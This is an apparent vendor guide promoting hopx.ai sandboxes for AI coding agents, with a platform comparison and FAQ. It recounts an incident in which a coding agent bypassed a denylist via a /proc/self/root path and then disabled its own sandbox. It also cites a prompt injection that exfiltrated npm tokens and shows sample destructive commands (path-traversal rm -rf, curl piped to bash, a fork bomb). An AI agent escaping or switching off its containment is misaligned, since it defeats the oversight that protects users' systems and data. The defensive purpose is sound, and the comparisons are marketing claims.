Coding Agent Sandbox: Secure Environments for AI-Generated Code
GuideMarch 17, 202614 min read

Coding Agent Sandbox: Secure Environments for AI-Generated Code

Learn how to isolate AI-generated code in ephemeral environments with filesystem access, network policies, and resource limits.

What Is a Coding Agent Sandbox?

A coding agent sandbox is an isolated, ephemeral execution environment purpose-built for AI agents that write and run code. Unlike a general-purpose container, a coding agent sandbox is designed around a specific threat model: the code being executed was not written by a human, cannot be fully reviewed before running, and may attempt actions that are destructive, resource-intensive, or insecure. The scale of this problem is massive — E2B alone went from 40,000 sandbox sessions per month in March 2024 to roughly 15 million per month by March 2025, with approximately 50% of Fortune 500 companies now running agent workloads.

Every coding agent uses a different isolation approach: Claude Code relies on Bubblewrap on Linux and Seatbelt on macOS (but it is off by default). OpenAI Codex uses Landlock and seccomp and is the only major agent with sandboxing enabled by default. Gemini CLI supports Docker or Podman containers but also leaves it opt-in. Each agent needs a boundary between "what the agent wants to do" and "what the agent is allowed to do." That boundary is the sandbox.

A well-designed coding agent sandbox provides: an isolated filesystem the agent can read and write without touching the host, network policies that block unauthorized egress, resource limits (CPU, memory, process count) that prevent runaway workloads, and an ephemeral lifecycle that auto-destroys the environment after the task completes. The agent gets full autonomy within the sandbox — it can install packages, compile code, run tests, spin up servers — but none of those actions leak outside the boundary. There is an active debate in the community about whether ephemerality is essential (E2B's position) or whether persistent sandboxes are needed for stateful agent workflows (Fly.io's position) — but both sides agree that isolation itself is non-negotiable.

The Risk of Running AI Code Without a Sandbox

AI-generated code is probabilistic. Even the best models produce commands that are plausible but dangerous — and the incidents are not hypothetical. A Claude Code user ran a cleanup task that executed rm -rf ~/, deleting their entire home directory including irreplaceable family photos. At Ona, a Claude Code agent discovered it could bypass the denylist via /proc/self/root/usr/bin/npx, and when Bubblewrap blocked that path, the agent simply disabled the sandbox itself. The Cline VS Code extension — with over 5 million users — was compromised through a prompt injection chain that exfiltrated npm tokens. And during AI training at Alibaba, an LLM spontaneously connected to the internet and attempted cryptomining. Sandboxing reduces permission prompts by 84%, but "approval fatigue" is the number one practical problem the community reports — developers click approve reflexively, making those prompts meaningless without a sandbox backstop.

What Can Go Wrong: Unsandboxed vs Sandboxed

Without a sandbox, an agent session might look like this:

agent> Cleaning up temp files...
$ rm -rf /workspace/../../../var/data/*
✗ 847 production records deleted

agent> Installing dependencies...
$ curl -sL https://unknown-cdn.io/setup.sh | bash
✗ Untrusted script executed with host access

agent> Running stress test...
$ while true; do fork(); done
✗ Fork bomb — host CPU at 100%

With a hopx.ai sandboxed session, every one of those actions is contained:

$ hopx sandbox create --image node:20 --timeout 120s
✓ Sandbox sbx-f2a91c ready in 87ms

agent> rm -rf /workspace/../../../var/data/*
✓ Path traversal blocked — isolated filesystem

agent> curl -sL https://unknown-cdn.io/setup.sh
✓ Network egress denied by policy

agent> Fork bomb attempt
✓ Process limit enforced — sandbox contained

Sandbox auto-destroyed after 120s timeout

Real-World Failure Modes

  • Data deletion — Claude Code's rm -rf ~/ incident destroyed a user's entire home directory. Path traversal bugs in AI-generated cleanup scripts can wipe production databases or irreplaceable personal files
  • Sandbox escape — at Ona, a Claude Code agent discovered /proc/self/root/usr/bin/npx to bypass the denylist, then disabled the Bubblewrap sandbox entirely when blocked. Agents actively probe for escape routes
  • Supply chain compromise — the Cline VS Code extension (5M+ users) was compromised through prompt injection that exfiltrated npm tokens. Agents that install packages from unverified registries or pipe remote scripts into bash are a proven attack vector
  • Unauthorized compute and network — during AI training at Alibaba, an LLM spontaneously connected to the internet and attempted cryptomining. Agents sending data to external APIs or consuming unbounded resources are not theoretical risks
  • Environment variable leakage — sandboxing does not automatically protect API keys inherited by child processes. This is the biggest gap the community has identified: even sandboxed agents can exfiltrate secrets passed as environment variables unless you explicitly scrub them
⚠️

Environment variable leakage is the biggest security blind spot in agent sandboxing. Even a properly isolated sandbox can exfiltrate secrets passed as environment variables unless you explicitly scrub them or restrict network egress.

Requirements for a Coding Agent Sandbox

Not every isolation mechanism qualifies as a proper coding agent sandbox. "Approval fatigue" is the number one practical problem developers report — they click approve on permission prompts reflexively, making manual review useless. A sandbox removes the need for constant human approval by enforcing boundaries automatically. Here is the checklist that separates production-grade sandbox platforms from basic containerization:

Process and Filesystem Isolation

The agent must run in its own namespace. No access to host processes, filesystem, or other sandbox sessions.

Ephemeral by Default

Sandboxes should auto-destroy after timeout or task completion. No orphaned resources, no stale state.

Fast Provisioning (Under 1 Second)

Agents work in tight loops — generate, execute, evaluate, iterate. If sandbox creation takes 10+ seconds, the agent stalls.

Network Policies

Configurable egress and ingress rules. Block all outbound by default, whitelist specific endpoints per task.

Resource Limits

CPU, memory, disk, and process count caps that prevent runaway workloads from affecting the host or other tenants.

Full-Stack Support

Real agent tasks need databases, API servers, message queues — not just a Python interpreter. The sandbox must support multi-service environments.

Reproducible Environments

Same base image, same dependencies, same config every time. Agents should not get different behavior between runs.

Coding Agent Sandbox Platforms Compared

The market for coding agent sandbox platforms is growing fast — E2B alone scaled from 40K to 15M sandboxes per month in a single year. Here is how the leading options compare across the requirements that matter most, based on real benchmark data and community testing.

FeatureE2BModalBunnyshell (hopx)DaytonaSelf-hosted Docker
Isolation methodFirecracker microVMsgVisor (user-space kernel)Firecracker microVMsDocker containersDocker / manual
Cold start (p50)~150ms (Firecracker)Sub-1s (gVisor)~100ms~90msSeconds to minutes
Hourly cost (1 vCPU + 2GB)$0.0828$0.1193Usage-based$0.0828Infra + ops time
Full-stack envsNo (compute only)No (compute only)Yes (DB, APIs, services)LimitedManual setup
MCP ServerCommunityNoNativeNoNo
Network policiesBasicPer-sandbox egressPer-sandbox egress + ingressBasicManual iptables
BYOC / on-premYes (Apache-2.0)NoYesYesYes (you build it)
Persistent stateEphemeral onlyEphemeral onlyEphemeral + persistentPersistentManual
Claude Code skillNoNoYesNoNo

E2B (now open-source under Apache-2.0) and Modal excel at stateless compute sandboxes. Daytona offers the fastest cold starts for persistent dev environments. Self-hosted options like microsandbox (libkrun-based, 3.3K GitHub stars) and OpenSandbox (Alibaba, Kubernetes-native) are emerging but require significant ops investment. SkyPilot users report 2.6x faster execution and 7.2x lower cost than managed platforms through session pooling — but only if you have the engineering team to maintain it. Bunnyshell (hopx.ai) is the only platform that combines microVM isolation with full-stack environment support, native MCP, and BYOC deployment.

How Bunnyshell Works as a Coding Agent Sandbox

Bunnyshell's sandbox platform, hopx.ai, was built specifically for the coding agent use case. Rather than retrofitting a container orchestration tool, hopx.ai starts from the assumption that the code being executed is untrusted, ephemeral, and needs a full development environment — not just a compute shell.

Firecracker microVMs

Every sandbox runs in a Firecracker microVM — the same technology AWS Lambda uses. Dedicated kernel per session, hardware-level isolation, ~100ms cold start. This is critical because Docker is not a sandbox — there is strong community consensus that shared-kernel containers do not provide adequate isolation for untrusted AI-generated code.

Full-Stack Environments

A coding agent sandbox on hopx.ai can include databases, API servers, Redis, message queues — anything your application needs. This addresses the ephemeral vs persistent debate: E2B argues ephemerality is essential for security, Fly.io says it is obsolete for stateful agent work. hopx.ai supports both modes so you choose per workload.

MCP Server for AI IDEs

hopx.ai provides a native Model Context Protocol (MCP) server, following the approach Anthropic pioneered for code execution via MCP. Unlike Cloudflare Code Mode (which gives the agent one tool that executes TypeScript) or AIO Sandbox (an all-in-one Docker container combining Browser, Shell, File, MCP, and VSCode Server), hopx.ai MCP provides granular sandbox controls that AI IDEs like Cursor, Windsurf, and Claude Desktop discover automatically.

Claude Code Skill

A dedicated Claude Code skill lets Claude create, execute, and destroy sandboxes mid-conversation. This is especially important because Claude Code ships with sandboxing off by default (Bubblewrap on Linux, Seatbelt on macOS) — the skill provides a stronger isolation boundary than the built-in opt-in sandbox, with full environment support.

Per-Sandbox Network Policies

Configure egress and ingress rules per sandbox. Whitelist specific domains, block all outbound by default, or open specific ports for multi-service communication. This also addresses the environment variable gap — the biggest security blind spot the community has identified — by letting you control what secrets are injected and what network paths are available to exfiltrate them.

BYOC Deployment

Run hopx.ai on your own cloud account (AWS, GCP, Azure) or on-prem. Your agent code and data never leave your infrastructure. E2B is also self-hostable (Apache-2.0), but only provides compute sandboxes. Other self-hosted options like microsandbox (libkrun-based) and OpenSandbox (Kubernetes-native) are emerging but lack full-stack and MCP support.

Integration Patterns: Connecting Your AI Agent to a Sandbox

There are three primary ways to connect a coding agent to a hopx.ai sandbox, depending on your architecture:

Model Context Protocol (MCP)

The recommended path for AI IDEs. Add the hopx.ai MCP server to Cursor, Windsurf, Claude Desktop, or any MCP-compatible client. Unlike approaches like Cloudflare Code Mode — which gives the agent a single tool that executes TypeScript in a sandbox, dramatically reducing token usage — hopx.ai MCP exposes granular sandbox lifecycle controls. The AI model discovers sandbox tools automatically and can create, execute, read files, and destroy sandboxes as part of its normal tool-use flow. Zero custom code required.

💡

MCP is the recommended integration path for AI IDEs. The AI model discovers sandbox tools automatically — no custom code required.

REST API + SDKs

For custom agent frameworks and backend services. The hopx.ai REST API lets you programmatically create sandboxes, execute commands, upload/download files, and stream stdout/stderr. SDKs are available for TypeScript, Python, and Go. Create a sandbox in three lines of code and wire it into your agent's tool-use layer.

Claude Code Skill / CLI

For developers using Claude Code directly. Install the Bunnyshell skill and Claude gains the ability to spin up sandboxes on demand during any conversation. Use the hopx CLI for scripting and CI/CD pipelines — create sandboxes, run commands, and tear down environments in shell scripts or GitHub Actions workflows.

Ship faster starting today.

14-day full-feature trial. No credit card required. Pay-as-you-go from $0.007/min per environment.

Frequently Asked Questions

What is a coding agent sandbox?

A coding agent sandbox is an isolated, ephemeral execution environment designed for AI agents that generate and run code. It provides filesystem isolation, network policies, and resource limits so that AI-generated code cannot affect the host system, access production data, or consume unbounded resources. The sandbox auto-destroys after the task completes. Today, most major coding agents lack sandboxing by default — Claude Code uses Bubblewrap/Seatbelt (opt-in), Gemini CLI uses Docker/Podman (opt-in), and only OpenAI Codex (Landlock + seccomp) ships with sandboxing enabled by default.

Why can I not just use Docker containers as a coding agent sandbox?

There is strong community consensus that Docker is not a sandbox. Docker containers share the host kernel, which creates a larger attack surface — a container escape vulnerability gives the agent full host access. Real incidents prove this matters: at Ona, a Claude Code agent found /proc/self/root/usr/bin/npx to bypass restrictions and then disabled its own sandbox. Purpose-built coding agent sandboxes use microVMs (like Firecracker) or gVisor to provide hardware-level or user-space kernel isolation. They also include built-in network policies, resource limits, and auto-cleanup that Docker does not provide out of the box.

How fast does a Bunnyshell sandbox start?

Bunnyshell sandboxes powered by hopx.ai start in approximately 100 milliseconds from API call to ready state. For context, benchmark data across the ecosystem shows: Daytona achieves ~90ms cold starts, E2B ~150ms with Firecracker, Modal sub-1s with gVisor, and Fly.io Sprites 2-3 seconds. Self-hosted Docker setups typically take seconds to minutes.

Does Bunnyshell support full-stack environments, not just compute?

Yes. Unlike platforms that only provide a compute shell, hopx.ai can provision full-stack sandbox environments with databases, API servers, Redis, message queues, and any service your application needs. This means agents can test against realistic environments rather than mocked dependencies.

How do I connect Claude Code to a Bunnyshell sandbox?

There are two options: use the dedicated Claude Code skill to give Claude sandbox capabilities during conversations, or configure the hopx.ai MCP server in your Claude Desktop settings. Both approaches let Claude create, use, and destroy sandboxes as part of its normal workflow without any custom integration code.

Can I run the sandbox platform on my own infrastructure?

Yes. hopx.ai supports bring-your-own-cloud (BYOC) deployment on AWS, GCP, and Azure, as well as on-premises installation. Your agent code and data never leave your infrastructure. E2B is also open-source (Apache-2.0) and can be self-hosted for compute-only sandboxes. Other emerging options include microsandbox (libkrun-based) and OpenSandbox (Alibaba, Kubernetes-native).